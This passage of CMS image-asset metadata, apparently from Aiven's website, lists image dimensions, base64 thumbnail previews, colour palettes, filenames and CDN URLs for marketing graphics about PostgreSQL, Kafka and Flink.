type":"sanity.imagePaletteSwatch","background":"#d8bfae","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa3949","foreground":"#fff","population":2.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b3885d","foreground":"#fff","population":0.49,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96c09","foreground":"#fff","population":1.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"man-with-helmet-delivery-pizza.png","path":"images/sczeoy4w/production/04d4e284bc397684480b7bfdc67414f4955c79f4-2500x2500.png","sha1hash":"04d4e284bc397684480b7bfdc67414f4955c79f4","size":745620,"uploadId":"0vqvnTLSLvOdtCJNPIJUQPsBiDpNA61h","url":"https://cdn.sanity.io/images/sczeoy4w/production/04d4e284bc397684480b7bfdc67414f4955c79f4-2500x2500.png"} {"_createdAt":"2023-08-25T07:49:31Z","_id":"image-cfa3341189f829000d75e1ab1801cfa98ba82d20-1567x844-png","_rev":"JgIs2qI3CUllaKCG3TscvB","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T07:49:31Z","assetId":"cfa3341189f829000d75e1ab1801cfa98ba82d20","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7-mt-oM]WBWD_4t6M{bIflITV]aet7t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACb0lEQVQokT3RaU/aAADG8X4CKfS+W1quCWgmRlzEgQdyqBRWikWE2lZR61TYPIBoNAxQtjmzTV8sW/Sj7jDZB/jlnzwPAFEqxmoYV8b5KiEYpHuL8di095DxNbnAMT/alsKXnrErLtDChX2YrSNcHaJ0ENccmAIIAX0qdphYOosnWzPz7el4O7Z4GU/1FpeHqdyX5OpdSv6ezN1HYh8oyYZoE/nrdyHacJIVwBs2FzItpdxXtEFOHWTy/bQ8WC3eqtWHDevnuvGrYj6Vjafkyudg5Ng/3hiNdMJTV4GJNu1pAN6QOZ8+k4tdWe3l1EFOvckUrjP5j9k3t3ntvlT9UTYey8bjqvotke4tZAdL8tes8jCXvfNP9AEpaMSTJ+ncRXL5Ii135dJwRRmmcjevU4NIrDsx05uKD6Nzn17OdIOTrdDkaTjaHp9uByc7/Og5IPj16OzR7OLJq/hxInW+qlyn5eu5dD+a6EqhFuU5oX0dxt8hpXcItwMzOkRXIboKMwbC2wBMq5RYoaUqLelCoO4fP/SONcRgk3/xnpSamLtJSKeEeIryBxBtOomKk6y5qJqLrMFsHRhBCw604MCKIKE5yQpEb8LMFsLuIpyNcHsob2PuI9zdRHnbRdWcxDrMbD+vDdEmgOF5jlE4aYMSdZipuaj/eA9iLBelQ4yJsDsws+UkKiChPV/loqogvgYIdD4klUJhyxOqE4IBswbKbWO8jQn7CGu5qApEbyCsBTMGiGsgXvrX3HTgpRG0ALD8mlssiz6d95u0ZFGeOuO1Wd8B528w3rekaJGiRUl7KGeCeMmBFZ3EOkhoI5jyB/8G/Map0TRq66gAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353268","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04196f","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dcea","foreground":"#000","population":7.96,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dcea","foreground":"#000","population":7.96,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#787dbe","foreground":"#fff","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697091","foreground":"#fff","population":1.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#262e91","foreground":"#fff","population":2.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"deploy-postgresqlr-services-to-multiple-clouds-and-regions.png","path":"images/sczeoy4w/production/cfa3341189f829000d75e1ab1801cfa98ba82d20-1567x844.png","sha1hash":"cfa3341189f829000d75e1ab1801cfa98ba82d20","size":134543,"uploadId":"BfHwUs0Tz2DNcexB7Ioum5di8VZ9nj7D","url":"https://cdn.sanity.io/images/sczeoy4w/production/cfa3341189f829000d75e1ab1801cfa98ba82d20-1567x844.png"} {"_createdAt":"2023-08-25T07:50:41Z","_id":"image-fcc74605b4bb5e80e44c17e4522eee8b05c99e0c-1567x844-png","_rev":"pv5QzE4Lm79BNhDrjiXjNR","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T07:50:41Z","assetId":"fcc74605b4bb5e80e44c17e4522eee8b05c99e0c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M88;fx_2Dgadjc?dtPM_bIbI00M|xuaft5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACdklEQVQokR3Ra1eaAACAYX5B4QWVOwpoOm0f2uwcp1ZmpIgICKJmnhTNpNXcWVnaypl2XW7dPFv7tVv7Ac95P7yABVYhXHfgZSexCbtrCL2Nsibp63gCh1TgiAz0yMAp4T+DmUOINO1ECyJbNnQLdJVmnSpAeqvvo/uxZPfDSjea6MWSp9HkYJW/4uUficxdZPUmujZ5F/9OBXoQuWPD6hDRgoi2FatbkArAhgxO6Mv6OJsfZZQxr1wKyk2+/FCoTpXyNKs9C9ovLjcNL10woY6TajqoTzB96HR3HNQe4J03knxPVM9FdSTkL3j5UircqRuPculRKU/VyktOf5GKf6TiNLZ2zoQO8LkTzPcVYY8x7xnABusr60e8dLYuDlLieSo3zijXkv4zq92n5fu0/JhWpmLht6RPOfE2khguRIdMqAt7Oghz/Io5oa/oo4w85KWRkL/i5eusOsnpD2nlnhMf1qWnlPS8lp0k+PFyahBJ9NmQCREGRJoAE6yv8r2cOhTkoaCMRe06q92K2kTSH5TSc1Z7inF3wfCInT/yvPno9rcofxt2N2zYFkS0AJytvA2b4WhnMf5lMd5dXOpHk4Pl1DjOXcS5USTxLbBwgjAHEGFakSoIl234NkS0bVjdhhkAguYZT9Hrr3n8DYw2YE8TY03S3yF8HZTZgd2Gg2pCZNuONy1IBYRLr6vIthWtgq4iQGFykC4EQwbzZht212x4DSKaDsp0Urt23LAiG1Z000407HgddJVAl/6/WZt16TMOBSDcRQ9dpn1b1JyBsw2UbeHeXcK3T859Jnx7KN1A6AbKmA7SAF36rFOzwBsgXJpxqv/wX0j0tl3qHho7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#352d59","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a74","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dceb","foreground":"#000","population":10.38,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dceb","foreground":"#000","population":10.38,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949ae5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f92","foreground":"#fff","population":1.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#232c90","foreground":"#fff","population":3.32,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-as-source-and-sink-with-flink-streaming-data.png","path":"images/sczeoy4w/production/fcc74605b4bb5e80e44c17e4522eee8b05c99e0c-1567x844.png","sha1hash":"fcc74605b4bb5e80e44c17e4522eee8b05c99e0c","size":149362,"uploadId":"fDwXSq801gYvJdEH8FEJ8cOnKx9lCsK1","url":"https://cdn.sanity.io/images/sczeoy4w/production/fcc74605b4bb5e80e44c17e4522eee8b05c99e0c-1567x844.png"} {"_createdAt":"2022-07-25T14:21:02Z","_id":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_rev":"ckgiwlcIm7aocoF4PmUQzy","_type":"sanity.imageAsset","_updatedAt":"2022-07-25T14:21:02Z","assetId":"d5aeed21a61ecdc16bc7f53357ecad5fac4feaba","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUEBgj/xAAjEAABAwQBBAMAAAAAAAAAAAABAAIRAwQFEiETFBUWIzGR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAgP/xAAcEQACAgIDAAAAAAAAAAAAAAABAgARAxIyYZH/2gAMAwEAAhEDEQA/ANEVM/VZnTZdpVNEA/IG8TCg+4VA1z/F3bm7Q2Gq3aiZgSjVsRqPxFQRyNyuV0atVqh73FmLyrr216r7WrROxGrhyhNAAPoISkp//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":2.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#803403","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":2.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbb3bd","foreground":"#000","population":0.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc84b4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae5c58","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8680c","foreground":"#fff","population":0.58,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_meta_preview.jpg","path":"images/sczeoy4w/production/d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630.jpg","sha1hash":"d5aeed21a61ecdc16bc7f53357ecad5fac4feaba","size":26047,"uploadId":"odBkbVHvAY1QsJixxxe1hNLS6OtA4vau","url":"https://cdn.sanity.io/images/sczeoy4w/production/d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630.jpg"} {"_createdAt":"2022-12-12T09:33:01Z","_id":"image-0154171d03b9e9cbde6af44e5b035c80f720fa4e-1020x682-svg","_rev":"gYxzbT5h6EDFb7xrQkfwEM","_type":"sanity.imageAsset","_updatedAt":"2022-12-12T09:33:01Z","assetId":"0154171d03b9e9cbde6af44e5b035c80f720fa4e","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VLSFU{ujxZY6krcuTLnNnNkCp{TzNfwbs8z.iuTKtmni","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4956011730205279,"height":682,"width":1020},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAACr0lEQVQ4jXWTy2sdVRzH519x46IbF+4UunMhVBS7EVpEXQk+Fq4qxRK0PtCKItKN4CLQNm3QRlEKbdM0qaFdpKh9keBN6e2dm3tn7p3HmTmvuTP3fORMYowQFx9+5zF8z/d3zncCqaxLM+HiUUI8Sv6pDKMRw2hMmhUobTF28n+4PXUalFK7OE5cvz8k7A9dGA7ohQMe97bo9YeMximiVJRSU5Tb+HE7b6tx2lStoK1qF0hlSbKCYZy6rShhECUMY+/QO83I8nJXqPDCu+OdudQoXbUubVUTGKWcHEcuDR8y7v7l8q0uZZpQlgp/mD/dI3WFUJZcWdTO2jaT3ZZbhybqom/OUfz4Idn548hfT2EerGBKgbF1e0/aTOhlhsVNwZVOTjc17Z53ZPfgvw3M5hpm9k30iQPoY09gPn0Gs3gak0btY0ipKJTh1uOCY4sh713uceORQJrtFs2eB2pbto9uM5l/i/rzp6g/eZLJNweprn6BXr+BuLtC9sdVxPot/tzY5MvVPp/9NmAtLFH7CBrvsNq6R3NtBnfmEG72Oabzr1BfnsFefB/53RHK04dRZ94mWfuFjf6Y9VgzLu2+LVvvsBrcp1k5iZt/GeYO4RZepblynHruNepvn6X++mnq71+kWjuLEcmOkzYm+xJUg3uuWf4Id+ElOPc8buEozdIHTC+9i7twGM69wPSn15ncOY+Ju8g8243LXqSyPo8uqKIN6ptf0fz8BtOLR2kuvUOzeopm5WOmXvj6CZrlGSb3F9DhA0QUkqZ5m90kFW3NhWxFfYwCmw+d7Vx3+vezqNuzmLs/UG0uUXWuoTvL6Ier2M4SVf8OZtyjTEfkedEG3pOL0vk/xrvzWQyssU6XwhXpCJHETuYJRhZoWVAKQSEEqiwwWmGMwZh/w77Df4L9N4qbs8e8ldqXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#505154","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d86cd","foreground":"#fff","population":1.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f56406","foreground":"#fff","population":4.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e4d9c8","foreground":"#000","population":0.68,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc55","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac6c54","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f56406","foreground":"#fff","population":4.54,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"three-year-cost-per-organisation-infographic-condense.svg","path":"images/sczeoy4w/production/0154171d03b9e9cbde6af44e5b035c80f720fa4e-1020x682.svg","sha1hash":"0154171d03b9e9cbde6af44e5b035c80f720fa4e","size":194842,"uploadId":"pvW86hGWXFS48Nur7atEhpOvFvLWhQnS","url":"https://cdn.sanity.io/images/sczeoy4w/production/0154171d03b9e9cbde6af44e5b035c80f720fa4e-1020x682.svg"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-23014d6c63fa5334ddb3301ce9f0b28ec20687fd-1540x998-png","_rev":"CK1sLU2mnwa3vmbYWEatgD","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:42Z","assetId":"23014d6c63fa5334ddb3301ce9f0b28ec20687fd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6Gbqy009dMts*IS_3?R-#4{00kGD,tpWaWb00IyozjW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5430861723446894,"height":998,"width":1540},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD8ElEQVQ4jVVTa0xTBxg995b2ls5SCqXKswbsiGwsI8x1aGaYbrrBgMIUmCKYCAIOELYFmLglTNEoKtPpBkIiZLiABBCwQGl9AJM3KKUUykp7W8qr4lDcXIzTu5RtP3aS8/M753zJOWCWgZV5MRbM4bAak7FkDcezh54Y1DIwmR/AbLGgf2AQ69e7QuAE8HggHR0h4FLwYbPhQ5IQAgQLAEiSAF48csCy1Q3zBg8YNF5org8HwwCLtiUM9haBtljBMAzU14FpDXDuJNZcOI3A3GyEbN2CwA2+cA/wBztEJsZGfwDPloDfF4T4w+aJP5f8MDLOYGYMuNtVC+3YCIxGI6HX64merpOE3ai2ykGsaiLDGn8mP85MJQPf20p67pKzKV9vICaSDbx8DKzMUZxFk7eLRS9zoSejKOZ5EtHcQmNo+DlM9C3CRN9jMcwcYnbnoq4KrygbIb3ZAr/iYxBmpvnya64eoVaevCTb2ypXE7Jt5reDrNMJGYaJgtTRkUuv9fU2UcPDOko7PiuYnratNUzb1jZe7xDGRO8Q7okPE1X/9KNbf5/S7dvCXJE8Si4qL78iNJpoR9psJvDURvHmjLsSTFPF3Tptw63+/o5YtbLE/f5w+TuTus4Ui1n3BW3SZjfUV2V+Gh+WlXYwPqvzjiJrQjeYfaIo7/C2UP/E1JQtb03omgUPlxkC83TcmiltepjmfmX1wID6mlqtila1pUt1o1+lGPSVdbMzrUqrWdHarjilyM4MvfH1kYgbA72XFQZ9fWvppdS2pL2SirzPJXL9+GnXxQcMC/13C/hnTsVJS87mRpScK4o9ejQ/uKI0xudX7b5QeurL5IWZovR5S2Fyz52k5B/OBx64UiZL1gxlHLQYCtLam+WHLpb472uo2RFCmxTrzDOLPFSUfkh5eAhFzs5Ovt5e66QBAa9KEhMjRDeV+51vK3eKNEMp7vqxHK+R3lh3TZ9E2NnmJOhSyUTmqWjx48V4198WclxmZ5pENK0XmmiLIz7aDsKRCzYArp0SiRc3IvIA+7vijfyaKql0qCfhfYMuf79Oc/KDhrqzQmAb+f3FNs69URvHMsc4LD1iOE+eMtRfLxg2wzAkXvexd/z/WO1bJdw7mgSfjPRsOm7QRl6d0qbkdN8+5gFsJgZ788g5ays5qWthqVTXOGWXL3Di4navrgVJe7ngcgGCAPh8LpL2cOySKDsPl+oK7rtNtZLEX9RBnw33hG/v6/7GyW42qAQOZZyATBZMiMViLo/HE7JYLMG/X/4DiqJAcYA332Bjswz2GTls8CXcpH4sv+AgShIZ7so/XriTyD8MyKM2/XdGAOAD8AbgBcD5b++1rtMhitXHAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#595735","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a19d08","foreground":"#fff","population":0.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5f00a","foreground":"#000","population":1.98,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e1ddc6","foreground":"#000","population":0.08,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6e584","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a79e51","foreground":"#000","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5f00a","foreground":"#000","population":1.98,"title":"#000"}}},"mimeType":"image/png","originalFilename":"23014d6c63fa5334ddb3301ce9f0b28ec20687fd-1540x998.png","path":"images/sczeoy4w/production/23014d6c63fa5334ddb3301ce9f0b28ec20687fd-1540x998.png","sha1hash":"23014d6c63fa5334ddb3301ce9f0b28ec20687fd","size":28048,"uploadId":"0bDkOA1qaClo1PuLihmGb7HVx6PgYFwD","url":"https://cdn.sanity.io/images/sczeoy4w/production/23014d6c63fa5334ddb3301ce9f0b28ec20687fd-1540x998.png"} {"_createdAt":"2022-09-08T16:32:20Z","_id":"image-352048832db48231b633fc0de4e31c22a35f9202-1228x1056-png","_rev":"QRl2cGoCgj0FlAhkRriXaU","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:20Z","assetId":"352048832db48231b633fc0de4e31c22a35f9202","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eLRyvrj[xtxus:~Vofj]ayNGIsofs:WBjY?HWBWBofa#ofj[j[fQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1628787878787878,"height":1056,"width":1228},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAABYlAAAWJQFJUiTwAAAB6klEQVQ4jZWSW4/TMBCF8///A5cHWIEESDwgHlewaEGsBLyA9gF2e0nS5trYiR0nvRx0pvWqDW0lIn2yM545PvY42Gw2OMVqtYK1FlprwRgjsXM1wakFfiyu6xpFUaAsSzRNIzF+/yW43qy343qNruvEZdu26PteYmcdLpdLSRxCIeecCNEZnVKYMa4dq+n7HoEvYvI+vC+KLBYLJEmCOI6R57nc5TDX7k7gXIvAi1GA0I0fWVxVlQilaSJ3yZjPGdK2A0GtlAj4rnJO6JJN4UgYo3t/Cr3b5EDQd5NulFKCL97++3GLFzA70QOH/PF3lWWZ7MgiihnTSCOGsDEetxd/EKS72Wz2IOiPwrVjnfVi/eBFHAhGUSQu6c4L+uMMXQ1x+4KNMciLAmEYYj6fHzSDgtsn4eBYeAzXofWCfDvWGizKArM4kudRawWtKqFtLZZ9h2Xfn6FD1zk4CjbGIi017sMEt3dT/B7HmCalEKYlkkWNXFkhE8wAi6wyKJRBbSyCKK9x+XOOF9cjPLv6g4tP93j5ebzlywSvb0K8/RYLb24ivPoa/gNzLn8lmGYawSTVeP8jxpOPIzz6MMLjAU+vxnh+PRE4H64T1r77HmOUKAS6sZgVGqOkOoHCOFWYpErmp/LiQoNafwFGWQ3DwvNejQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5c5c","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#446c94","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4c7ca5","foreground":"#fff","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#acdffc","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c7ca5","foreground":"#fff","population":0.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3591e4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"352048832db48231b633fc0de4e31c22a35f9202-1228x1056.png","path":"images/sczeoy4w/production/352048832db48231b633fc0de4e31c22a35f9202-1228x1056.png","sha1hash":"352048832db48231b633fc0de4e31c22a35f9202","size":342980,"uploadId":"yjlu131JjuMhbMTmg90AqgIQ3GdySYDX","url":"https://cdn.sanity.io/images/sczeoy4w/production/352048832db48231b633fc0de4e31c22a35f9202-1228x1056.png"} {"_createdAt":"2022-09-08T16:32:29Z","_id":"image-92e949c34b0792d55c77ac82ff1fe68000353d7e-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEefla","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:29Z","assetId":"92e949c34b0792d55c77ac82ff1fe68000353d7e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96R$f%NROada#?w%MM{WCaxtSt4WFofjY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACeUlEQVQokU2Sa0/TYBiGOza2qQOGbpwFEtau7Rw7liFyUKOGmDDZYGzruo6dCAl4iCbGcBSCCnzwL1+m7zDhw5U2b5rrud/7qeRPHTC48IkB4xMD2Y+CQHKf4WSXcLpLKNUhGN8lGLN5/MwmFLcZju8SiLfxxLpI+h6S1kXS2rjUNtL4iy9kCucsV3+xVLkiu3VBavMnC9uX5EqXZIs/SW4ck944YrFwwvPCMdn8Eeq77wwZh7gcodqhL7qLW2kgPV06YLV0Rr51zUbrhjf137zdvWW985eX9i2r1jVr9RteN25Zqf1hPn9GdP2I2dffCWQO7xJ2RDqX2kKaMjpk1r+yWvjBq51TlrdOWStf8NK8wiieY2xdsGz+YcW6QX1/wmDmAF98D298D7f+X9STCWFQqzGasBlPN5k0ukwYe0zk9hlfPCCcOyT0/DOjK98EjsytNnFF6ngUiwdqjYBmMqBVGdAqAsk7V8E3V8EbMfEotsAdbdDnTNQ6SHoXl96lT+/gibXw6Q38qiUkY4kSM6lNZpMfmE5uMpkoILmVOm65jluxRbF90WZvW2JzXSS1Lc68WoOheYtwqspYcoep1BZz2QJRI49i5JlJFxmZLyF5ZAuvXBP0y5YQiy6cdKLslhjkCAfjFiOJMtPpIpGFAnKuiJLrPaezJcIpE2lQLhNSKzzRTQJRE1+kikeuIZIrDYFIrrZway18mk0wbjKWrjCRqTJ+x2jGJJypI4XkbaZiVSaSDYK6hT9SxjtXpj9i3qvhDqX3r/WrthD7dVt06os1Bf5YA+mhXBHJHql1fNG6uLZTw/2rOx06qXsLdAZWxMD737miTfH+D+9MbgTxJNapAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3360","foreground":"#fff","population":0.97,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":37.45,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":37.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1b3d5","foreground":"#000","population":0.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#95a2e0","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab9453","foreground":"#fff","population":0.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0a961","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"92e949c34b0792d55c77ac82ff1fe68000353d7e-1567x844.png","path":"images/sczeoy4w/production/92e949c34b0792d55c77ac82ff1fe68000353d7e-1567x844.png","sha1hash":"92e949c34b0792d55c77ac82ff1fe68000353d7e","size":68105,"uploadId":"084rgL6xdfNbUiCuLpgBwHHylP0OKvkr","url":"https://cdn.sanity.io/images/sczeoy4w/production/92e949c34b0792d55c77ac82ff1fe68000353d7e-1567x844.png"} {"_createdAt":"2022-09-11T12:27:39Z","_id":"image-916bcbc601e0f05223abf31488f976325f63685f-2500x1302-png","_rev":"CK1sLU2mnwa3vmbYWO73Ic","_type":"sanity.imageAsset","_updatedAt":"2022-09-11T12:27:39Z","assetId":"916bcbc601e0f05223abf31488f976325f63685f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MgQvq9tRWXn$Rk~pf,j]adkDDiWXV@jYbc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9201228878648233,"height":1302,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACVUlEQVQokUXPwU5TQRQG4D6BSxJcuNK3cesLmLh2wVpZGROTGmNMV+5EJBINEYkLY6CKLowopVRBDVja2kt7OzN3Zs6cc+ZMvaYFdPElJ/n/xfkr3sM15/yS91An4vWU0sapyV1PKa1F5jsc421hv5pUo546y+upvbgxbj/eGHeero/1dj2xf8Yc5yoh4C2A0AIIlohMjFKITJmUkksp9STG1RhlJUU4SqrhUmfZ/OksFeP2YpEOl8x49MWOI/yIIrUKIt7zHnoAoQyIJRGXIvJPYkCxh1tiDz4KFQBFVtrB95LNQRkHP8qwv1Nyv1eOJeYi8qhCRHdCwJ+IFJEImZlEEqWUUCSxhGEh/TfNlL1usMv0MNex2zsm64BQAelvGUJXxxTlSEQeTj68TkSviLlJRA0i3hGRxqkmB/2JhtsvePh5BV2+NRqpr/3+cbMo7G5w0Coy3QTtdiXGN8w8X3HOX3XOPwEI7xDpLTO/jTFOYQHvXDff8L/zl647WPW9UT1Y/yGEsImIm0T0PiBuQsDNgPgcIMxVAMINgLCNiIaZVYyiRE6EgVV6t6fcwVAVe5kq9vqabdAiopmjjjFq70ENh8ocD0b7SpkHk8k3T6ZSQcTT0hnQXpujXLtMa9tT2naVJo+amfWkO6F1odrtbnH4q/M9ywa1Sp7nl40x89ba+yGEu0RcPUHVELDqrK+Ch2rwYYqQphniCWOKarf7++5Rpzc/GAyvVGq12szCwsLFtbW1S61W64Ix5rz3ftY5N+v8fx78lDvLTllrZ40xEzPGmHN/AWvUxhj8BaF1AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c343c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#980c54","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9b71b","foreground":"#000","population":1.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ba98ae","foreground":"#000","population":0.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce46c","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_t